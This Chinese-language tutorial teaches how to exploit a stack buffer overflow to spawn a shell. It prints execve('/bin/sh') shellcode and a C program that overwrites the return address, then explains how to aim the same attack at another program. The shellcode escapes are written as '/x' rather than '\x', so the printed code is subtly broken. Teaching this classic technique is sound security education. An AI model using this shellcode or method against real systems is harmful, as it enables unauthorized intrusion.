堆栈溢出技术从入门到高深 使用堆栈溢出获得shell
发布时间:2022-04-30 10:45:01 所属栏目:安全 来源:互联网
导读:在《堆栈溢出技术从入门到高深:如何书写shell code》中,笔者为大家介绍了一下堆栈的基础知识以及shellcode基本算法等知识,下面本文继续为读者介绍如何利用堆栈溢出来获得shell: 利用堆栈溢出获得shell 好了,现在我们已经制造了一次堆栈溢出,写好了一个
在《堆栈溢出技术从入门到高深:如何书写shell code》中,笔者为大家介绍了一下堆栈的基础知识以及shellcode基本算法等知识,下面本文继续为读者介绍如何利用堆栈溢出来获得shell: 利用堆栈溢出获得shell 好了,现在我们已经制造了一次堆栈溢出,写好了一个shellcode。准备工作都已经作完,我们把二者结合起来,就写出一个利用堆栈溢出获得shell的程序。 overflow1.c char shellcode[] ="/xeb/x1f/x5e/x89/x76/x08/x31/xc0/x88/x46/x07/x89/x46/x0c/xb0/x0b" "/x89/xf3/x8d/x4e/x08/x8d/x56/x0c/xcd/x80/x31/xdb/x89/xd8/x40/xcd" "/x80/xe8/xdc/xff/xff/xff/bin/sh" char large_string[128]; void main() { char buffer[96]; int i; long *long_ptr = (long *) large_string; for (i = 0; i < 32; i++) *(long_ptr + i) = (int) buffer; for (i = 0; i < strlen(shellcode); i++) large_string[i] = shellcode[i]; strcpy(buffer,large_string); } 在执行完strcpy后,堆栈内容如下所示: 内存底部 内存顶部 buffer EBP ret <------ [SSS...SSSA ][A ][A ]A..A 回想一下前面所讲,我们通过一个shellcode数组来存放shellcode,利用程序中的strcpy函数,把shellcode放到了程序的堆栈之中;我们制造了数组越界,用shellcode的开始地址覆盖了程序(overflow.c)的返回地址,程序在返回的时候就会去执行我们的shellcode,从而我们得到了一个shell。当我们面对别人写的程序时,为了让他执行我们的shellcode,同样必须作这两件事: 1:把我们的shellcode提供给他,让他可以访问shellcode。 2:修改他的返回地址为shellcode的入口地址。 为了做到这两条,我们必须知道他的strcpy(buffer,ourshellcode)中,buffer的地址。因为当我们把shellcode提供给strcpy之后,buffer的开始地址就是shellcode的开始地址,我们必须用这个地址来覆盖堆栈才成。这一点大家一定要明确。我们知道,对于操作系统来说,一个shell下的每一个程序的堆栈段开始地址都是相同的。我们可以写一个程序,获得运行时的堆栈起始地址,这样,我们就知道了目标程序堆栈的开始地址。 (编辑:东莞站长网) 【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容! |
站长推荐